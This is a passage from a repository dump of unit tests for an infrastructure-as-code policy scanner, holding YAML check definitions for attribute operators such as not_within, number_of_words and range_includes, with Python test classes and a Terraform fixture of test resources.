    "path": "tests/terraform/graph/checks_infra/attribute_solvers/not_regex_match_solver/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/not_regex_match_solver/test_solver.py",
    "content": "import os\n\nfrom parameterized import parameterized_class\n\nfrom tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS\nfrom tests.terraform.graph.checks_infra.test_base import TestBaseSolver\n\nTEST_DIRNAME = os.path.dirname(os.path.realpath(__file__))\n\n\n@parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS)\nclass TestRegexMatchSolver(TestBaseSolver):\n    def setUp(self):\n        self.checks_dir = TEST_DIRNAME\n        super(TestRegexMatchSolver, self).setUp()\n\n    def test_regex_match_solver_simple(self):\n        root_folder = '../../../resources/tag_includes'\n        check_id = \"TagPrefix\"\n        should_pass = ['aws_subnet.acme_subnet']\n        should_fail = ['aws_instance.some_instance']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/not_starting_with_solver/NameStartingWith.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"NameStartingWith\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"aws_subnet\"\n  attribute: \"tags.Name\"\n  operator: \"not_starting_with\"\n  value: \"first\"\n\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/not_starting_with_solver/NameStartingWithJsonpath.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"NameStartingWithJsonpath\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"aws_subnet\"\n  attribute: \"tags.Name\"\n  operator: \"jsonpath_not_starting_with\"\n  value: \"first\"\n\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/not_starting_with_solver/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/not_starting_with_solver/test_solver.py",
    "content": "import os\n\nfrom parameterized import parameterized_class\n\nfrom tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS\nfrom tests.terraform.graph.checks_infra.test_base import TestBaseSolver\n\nTEST_DIRNAME = os.path.dirname(os.path.realpath(__file__))\n\n\n@parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS)\nclass TestNotStartingWithSolver(TestBaseSolver):\n    def setUp(self):\n        self.checks_dir = TEST_DIRNAME\n        super(TestNotStartingWithSolver, self).setUp()\n\n    def test_name_starting_with(self):\n        root_folder = '../../../resources/public_virtual_machines'\n        check_id = \"NameStartingWith\"\n        should_pass = ['aws_subnet.subnet_not_public_ip']\n        should_fail = ['aws_subnet.subnet_public_ip']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_name_starting_with_jsonpath(self):\n        root_folder = '../../../resources/public_virtual_machines'\n        check_id = \"NameStartingWithJsonpath\"\n        should_pass = ['aws_subnet.subnet_not_public_ip']\n        should_fail = ['aws_subnet.subnet_public_ip']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/not_subset_solver/Subset1.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"NotSubset1\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"x\"\n  attribute: \"arr\"\n  operator: \"not_subset\"\n  value:\n    - \"allowed1\"\n    - \"allowed2\"\n    - \"allowed3\"\n\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/not_subset_solver/SubsetJsonpath.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"NotSubsetJsonpath\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"x\"\n  attribute: \"arr\"\n  operator: \"jsonpath_not_subset\"\n  value:\n    - \"allowed1\"\n    - \"allowed2\"\n    - \"allowed3\"\n\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/not_subset_solver/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/not_subset_solver/test_solver.py",
    "content": "import os\n\nfrom parameterized import parameterized_class\n\nfrom tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS\nfrom tests.terraform.graph.checks_infra.test_base import TestBaseSolver\n\nTEST_DIRNAME = os.path.dirname(os.path.realpath(__file__))\n\n\n@parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS)\nclass TestNotSubsetSolver(TestBaseSolver):\n    def setUp(self):\n        self.checks_dir = TEST_DIRNAME\n        super(TestNotSubsetSolver, self).setUp()\n\n    def test_subset_solver_simple(self):\n        root_folder = '../../../resources/arrays'\n        check_id = \"NotSubset1\"\n        should_fail = ['x.pass1', 'x.pass2', 'x.pass3', 'x.pass4']\n        should_pass = ['x.fail1', 'x.fail2', 'x.fail3', 'x.fail4']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_subset_solver_jsonpath(self):\n        root_folder = '../../../resources/arrays'\n        check_id = \"NotSubsetJsonpath\"\n        should_fail = ['x.pass1', 'x.pass2', 'x.pass3', 'x.pass4']\n        should_pass = ['x.fail1', 'x.fail2', 'x.fail3', 'x.fail4']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/not_within_solver/NameNotWithin.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"NameNotWithin\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"aws_subnet\"\n  attribute: \"tags.Name\"\n  operator: \"not_within\"\n  value:\n    - \"first-tf-example\"\n    - \"third-tf-example\"\n\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/not_within_solver/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/not_within_solver/test_solver.py",
    "content": "import os\n\nfrom parameterized import parameterized_class\n\nfrom tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS\nfrom tests.terraform.graph.checks_infra.test_base import TestBaseSolver\n\nTEST_DIRNAME = os.path.dirname(os.path.realpath(__file__))\n\n\n@parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS)\nclass TestNotWithinSolver(TestBaseSolver):\n    def setUp(self) -> None:\n        self.checks_dir = TEST_DIRNAME\n        super(TestNotWithinSolver, self).setUp()\n\n    def test_basic_usage(self) -> None:\n        root_folder = '../../../resources/public_virtual_machines'\n        check_id = \"NameNotWithin\"\n        should_pass = ['aws_subnet.subnet_not_public_ip']\n        should_fail = ['aws_subnet.subnet_public_ip']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/number_of_words_equals_solver/NumberOfWordsEquals.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"NumberOfWordsEquals\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - aws_security_group\n  attribute: ingress.description\n  operator: number_of_words_equals\n  value: 6\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/number_of_words_equals_solver/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/number_of_words_equals_solver/test_solver.py",
    "content": "import os\n\nfrom parameterized import parameterized_class\n\nfrom tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS\nfrom tests.terraform.graph.checks_infra.test_base import TestBaseSolver\n\nTEST_DIRNAME = os.path.dirname(os.path.realpath(__file__))\n\n\n@parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS)\nclass TestNumberOfNotWordsEquals(TestBaseSolver):\n    def setUp(self):\n        self.checks_dir = TEST_DIRNAME\n        super(TestNumberOfNotWordsEquals, self).setUp()\n\n    def test_number_of_words_equals(self):\n        # this is just a basic check to make sure the operator works\n        # we'll check all the other combinations more directly (because coming up with all the policy combos is painful)\n        root_folder = '../../../resources/number_of_words'\n        check_id = \"NumberOfWordsEquals\"\n        should_pass = ['aws_security_group.sg1']\n        should_fail = ['aws_security_group.sg2']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/number_of_words_greater_than_or_equal_solver/NumberOfWordsGreaterThanOrEqual.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"NumberOfWordsGreaterThanOrEqual\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - aws_security_group\n  attribute: ingress.description\n  operator: number_of_words_greater_than_or_equal\n  value: 6\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/number_of_words_greater_than_or_equal_solver/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/number_of_words_greater_than_or_equal_solver/test_solver.py",
    "content": "import os\n\nfrom parameterized import parameterized_class\n\nfrom tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS\nfrom tests.terraform.graph.checks_infra.test_base import TestBaseSolver\n\nTEST_DIRNAME = os.path.dirname(os.path.realpath(__file__))\n\n\n@parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS)\nclass TestNumberOfWordsGreaterThanOrEqual(TestBaseSolver):\n    def setUp(self):\n        self.checks_dir = TEST_DIRNAME\n        super(TestNumberOfWordsGreaterThanOrEqual, self).setUp()\n\n    def test_number_of_words_greater_than_or_equal(self):\n        # this is just a basic check to make sure the operator works\n        # we'll check all the other combinations more directly (because coming up with all the policy combos is painful)\n        root_folder = '../../../resources/number_of_words'\n        check_id = \"NumberOfWordsGreaterThanOrEqual\"\n        should_pass = ['aws_security_group.sg1']\n        should_fail = ['aws_security_group.sg2']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/number_of_words_greater_than_solver/NumberOfWordsGreaterThan.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"NumberOfWordsGreaterThan\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - aws_security_group\n  attribute: ingress.description\n  operator: number_of_words_greater_than\n  value: 4\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/number_of_words_greater_than_solver/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/number_of_words_greater_than_solver/test_solver.py",
    "content": "import os\n\nfrom parameterized import parameterized_class\n\nfrom tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS\nfrom tests.terraform.graph.checks_infra.test_base import TestBaseSolver\n\nTEST_DIRNAME = os.path.dirname(os.path.realpath(__file__))\n\n\n@parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS)\nclass TestNumberOfWordsGreaterThan(TestBaseSolver):\n    def setUp(self):\n        self.checks_dir = TEST_DIRNAME\n        super(TestNumberOfWordsGreaterThan, self).setUp()\n\n    def test_number_of_words_greater_than(self):\n        # this is just a basic check to make sure the operator works\n        # we'll check all the other combinations more directly (because coming up with all the policy combos is painful)\n        root_folder = '../../../resources/number_of_words'\n        check_id = \"NumberOfWordsGreaterThan\"\n        should_pass = ['aws_security_group.sg1']\n        should_fail = ['aws_security_group.sg2']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/number_of_words_less_than_or_equal_solver/NumberOfWordsLessThanOrEqual.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"NumberOfWordsLessThanOrEqual\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - aws_security_group\n  attribute: ingress.description\n  operator: number_of_words_less_than_or_equal\n  value: 3\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/number_of_words_less_than_or_equal_solver/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/number_of_words_less_than_or_equal_solver/test_solver.py",
    "content": "import os\n\nfrom parameterized import parameterized_class\n\nfrom tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS\nfrom tests.terraform.graph.checks_infra.test_base import TestBaseSolver\n\nTEST_DIRNAME = os.path.dirname(os.path.realpath(__file__))\n\n\n@parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS)\nclass TestNumberOfWordsLessThanOrEqual(TestBaseSolver):\n    def setUp(self):\n        self.checks_dir = TEST_DIRNAME\n        super(TestNumberOfWordsLessThanOrEqual, self).setUp()\n\n    def test_number_of_words_less_than_or_equal(self):\n        # this is just a basic check to make sure the operator works\n        # we'll check all the other combinations more directly (because coming up with all the policy combos is painful)\n        root_folder = '../../../resources/number_of_words'\n        check_id = \"NumberOfWordsLessThanOrEqual\"\n        should_pass = ['aws_security_group.sg2']\n        should_fail = ['aws_security_group.sg1']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/number_of_words_less_than_solver/NumberOfWordsLessThan.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"NumberOfWordsLessThan\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - aws_security_group\n  attribute: ingress.description\n  operator: number_of_words_less_than\n  value: 4\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/number_of_words_less_than_solver/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/number_of_words_less_than_solver/test_solver.py",
    "content": "import os\n\nfrom parameterized import parameterized_class\n\nfrom tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS\nfrom tests.terraform.graph.checks_infra.test_base import TestBaseSolver\n\nTEST_DIRNAME = os.path.dirname(os.path.realpath(__file__))\n\n\n@parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS)\nclass TestNumberOfWordsLessThan(TestBaseSolver):\n    def setUp(self):\n        self.checks_dir = TEST_DIRNAME\n        super(TestNumberOfWordsLessThan, self).setUp()\n\n    def test_number_of_words_less_than(self):\n        # this is just a basic check to make sure the operator works\n        # we'll check all the other combinations more directly (because coming up with all the policy combos is painful)\n        root_folder = '../../../resources/number_of_words'\n        check_id = \"NumberOfWordsLessThan\"\n        should_pass = ['aws_security_group.sg2']\n        should_fail = ['aws_security_group.sg1']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/number_of_words_not_equals_solver/NumberOfWordsEquals.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"NumberOfWordsNotEquals\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - aws_security_group\n  attribute: ingress.description\n  operator: number_of_words_not_equals\n  value: 6\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/number_of_words_not_equals_solver/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/number_of_words_not_equals_solver/test_solver.py",
    "content": "import os\n\nfrom parameterized import parameterized_class\n\nfrom tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS\nfrom tests.terraform.graph.checks_infra.test_base import TestBaseSolver\n\nTEST_DIRNAME = os.path.dirname(os.path.realpath(__file__))\n\n\n@parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS)\nclass TestNumberOfWordsEquals(TestBaseSolver):\n    def setUp(self):\n        self.checks_dir = TEST_DIRNAME\n        super(TestNumberOfWordsEquals, self).setUp()\n\n    def test_number_of_words_not_equals(self):\n        # this is just a basic check to make sure the operator works\n        # we'll check all the other combinations more directly (because coming up with all the policy combos is painful)\n        root_folder = '../../../resources/number_of_words'\n        check_id = \"NumberOfWordsNotEquals\"\n        should_pass = ['aws_security_group.sg2']\n        should_fail = ['aws_security_group.sg1']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/range_includes_solver/JsonPathRangeIncludesInt.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"JsonPathRangeIncludesInt\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"test\"\n  attribute: \"range\"\n  operator: \"jsonpath_range_includes\"\n  value: 3000\n\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/range_includes_solver/JsonPathRangeIncludesList.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"JsonPathRangeIncludesList\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"test\"\n  attribute: \"range\"\n  operator: \"jsonpath_range_includes\"\n  value:\n    - \"400\"\n    - 3000\n    - 100\n    - \"1\"\n\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/range_includes_solver/JsonPathRangeIncludesListWRange.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"JsonPathRangeIncludesListWRange\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"test\"\n  attribute: \"range\"\n  operator: \"jsonpath_range_includes\"\n  value:\n    - 200\n    - 3000-4000\n    - \"400-500\"\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/range_includes_solver/JsonPathRangeIncludesString.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"JsonPathRangeIncludesString\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"test\"\n  attribute: \"range\"\n  operator: \"jsonpath_range_includes\"\n  value: \"3000\"\n\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/range_includes_solver/RangeIncludesInt.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"RangeIncludesInt\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"test\"\n  attribute: \"range\"\n  operator: \"range_includes\"\n  value: 3000\n\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/range_includes_solver/RangeIncludesList.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"RangeIncludesList\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"test\"\n  attribute: \"range\"\n  operator: \"range_includes\"\n  value:\n    - 200\n    - 3000\n    - 400\n    - \"500\"\n\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/range_includes_solver/RangeIncludesListWRange.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"RangeIncludesListWRange\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"test\"\n  attribute: \"range\"\n  operator: \"range_includes\"\n  value:\n    - 200\n    - 3000-4000\n    - \"400-500\"\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/range_includes_solver/RangeIncludesString.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"RangeIncludesString\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"test\"\n  attribute: \"range\"\n  operator: \"range_includes\"\n  value: \"3000\"\n\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/range_includes_solver/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/range_includes_solver/resources/main.tf",
    "content": "resource \"test\" \"pass1\" {\n  range = \"*\"\n}\n\nresource \"test\" \"pass2\" {\n  range = 3000\n}\n\nresource \"test\" \"pass3\" {\n  range = \"3000\"\n}\n\nresource \"test\" \"pass4\" {\n  range = \"3000-4000\"\n}\n\nresource \"test\" \"pass5\" {\n  range = \"2000-3000\"\n}\n\nresource \"test\" \"pass6\" {\n  range = \"2000-4000\"\n}\n\nresource \"test\" \"pass7\" {\n  range = [\"2100\",\"2000-4000\",\"3400\"]\n}\n\nresource \"test\" \"fail1\" {\n  range = 2000\n}\n\nresource \"test\" \"fail2\" {\n  range = \"2000\"\n}\n\nresource \"test\" \"fail3\" {\n  range = \"1000-2000\"\n}\n\nresource \"test\" \"fail4\" {\n  range = \"4000-5000\"\n}\n\nresource \"test\" \"fail5\" {\n  # no range\n}\n\nresource \"test\" \"fail6\" {\n  range = \"abc\"\n}\n\nresource \"test\" \"fail7\" {\n  range = \"abc-123\"\n}\n\nresource \"test\" \"fail8\" {\n  range = \"1000-5000-6000\"\n}\n\nresource \"test\" \"fail9\" {\n  range = [\"1000\",\"2000-2900\"]\n}"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/range_includes_solver/test_solver.py",
    "content": "import os\n\nfrom parameterized import parameterized_class\n\nfrom tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS\nfrom tests.terraform.graph.checks_infra.test_base import TestBaseSolver\n\nTEST_DIRNAME = os.path.dirname(os.path.realpath(__file__))\n\n\n@parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS)\nclass TestRangeIncludesSolver(TestBaseSolver):\n    def setUp(self):\n        self.checks_dir = TEST_DIRNAME\n        super(TestRangeIncludesSolver, self).setUp()\n\n    def test_range_includes_int_solver(self):\n        root_folder = 'resources'\n        check_id = \"RangeIncludesInt\"\n        should_pass = ['test.pass1', 'test.pass2', 'test.pass3', 'test.pass4', 'test.pass5', 'test.pass6', 'test.pass7']\n        should_fail = ['test.fail1', 'test.fail2', 'test.fail3', 'test.fail4', 'test.fail5', 'test.fail6', 'test.fail7',\n                       'test.fail8', 'test.fail9']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_range_includes_string_solver(self):\n        root_folder = 'resources'\n        check_id = \"RangeIncludesString\"\n        should_pass = ['test.pass1', 'test.pass2', 'test.pass3', 'test.pass4', 'test.pass5', 'test.pass6', 'test.pass7']\n        should_fail = ['test.fail1', 'test.fail2', 'test.fail3', 'test.fail4', 'test.fail5', 'test.fail6', 'test.fail7',\n                       'test.fail8', 'test.fail9']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_range_includes_int_jsonpath_solver(self):\n        root_folder = 'resources'\n        check_id = \"JsonPathRangeIncludesInt\"\n        should_pass = ['test.pass1', 'test.pass2', 'test.pass3', 'test.pass4', 'test.pass5', 'test.pass6', 'test.pass7']\n        should_fail = ['test.fail1', 'test.fail2', 'test.fail3', 'test.fail4', 'test.fail5', 'test.fail6', 'test.fail7',\n                       'test.fail8', 'test.fail9']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_range_includes_string_jsonpath_solver(self):\n        root_folder = 'resources'\n        check_id = \"JsonPathRangeIncludesString\"\n        should_pass = ['test.pass1', 'test.pass2', 'test.pass3', 'test.pass4', 'test.pass5', 'test.pass6', 'test.pass7']\n        should_fail = ['test.fail1', 'test.fail2', 'test.fail3', 'test.fail4', 'test.fail5', 'test.fail6', 'test.fail7',\n                       'test.fail8', 'test.fail9']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_range_includes_list_solver(self):\n        root_folder = 'resources'\n        check_id = \"RangeIncludesList\"\n        should_pass = ['test.pass1', 'test.pass2', 'test.pass3', 'test.pass4', 'test.pass5', 'test.pass6', 'test.pass7']\n        should_fail = ['test.fail1', 'test.fail2', 'test.fail3', 'test.fail4', 'test.fail5', 'test.fail6', 'test.fail7',\n                       'test.fail8', 'test.fail9']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_range_includes_list_jsonpath_solver(self):\n        root_folder = 'resources'\n        check_id = \"JsonPathRangeIncludesList\"\n        should_pass = ['test.pass1', 'test.pass2', 'test.pass3', 'test.pass4', 'test.pass5', 'test.pass6', 'test.pass7']\n        should_fail = ['test.fail1', 'test.fail2', 'test.fail3', 'test.fail4', 'test.fail5', 'test.fail6', 'test.fail7',\n                       'test.fail8', 'test.fail9']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_range_includes_list_w_list_solver(self):\n        root_folder = 'resources'\n        check_id = \"RangeIncludesListWRange\"\n        should_pass = ['test.pass1', 'test.pass2', 'test.pass3', 'test.pass4', 'test.pass5', 'test.pass6', 'test.pass7',\n                       'test.fail4']\n        should_fail = ['test.fail1', 'test.fail2', 'test.fail3', 'test.fail5', 'test.fail6', 'test.fail7', 'test.fail8',\n                       'test.fail9']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_range_includes_list_w_list_jsonpath_solver(self):\n        root_folder = 'resources'\n        check_id = \"JsonPathRangeIncludesListWRange\"\n        should_pass = ['test.pass1', 'test.pass2', 'test.pass3', 'test.pass4', 'test.pass5', 'test.pass6', 'test.pass7',\n                       'test.fail4']\n        should_fail = ['test.fail1', 'test.fail2', 'test.fail3', 'test.fail5', 'test.fail6', 'test.fail7', 'test.fail8',\n                       'test.fail9']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/range_not_includes_solver/JsonPathRangeNotIncludesInt.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"JsonPathRangeNotIncludesInt\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"test\"\n  attribute: \"range\"\n  operator: \"jsonpath_range_not_includes\"\n  value: 3000\n\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/range_not_includes_solver/JsonPathRangeNotIncludesList.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"JsonPathRangeNotIncludesList\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"test\"\n  attribute: \"range\"\n  operator: \"jsonpath_range_not_includes\"\n  value:\n    - \"3001\"\n    - 3000\n    - 3002\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/range_not_includes_solver/JsonPathRangeNotIncludesListWRange.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"JsonPathRangeNotIncludesListWRange\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"test\"\n  attribute: \"range\"\n  operator: \"jsonpath_range_not_includes\"\n  value:\n    - 200\n    - 3000-4000\n    - \"400-500\"\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/range_not_includes_solver/JsonPathRangeNotIncludesString.yaml",
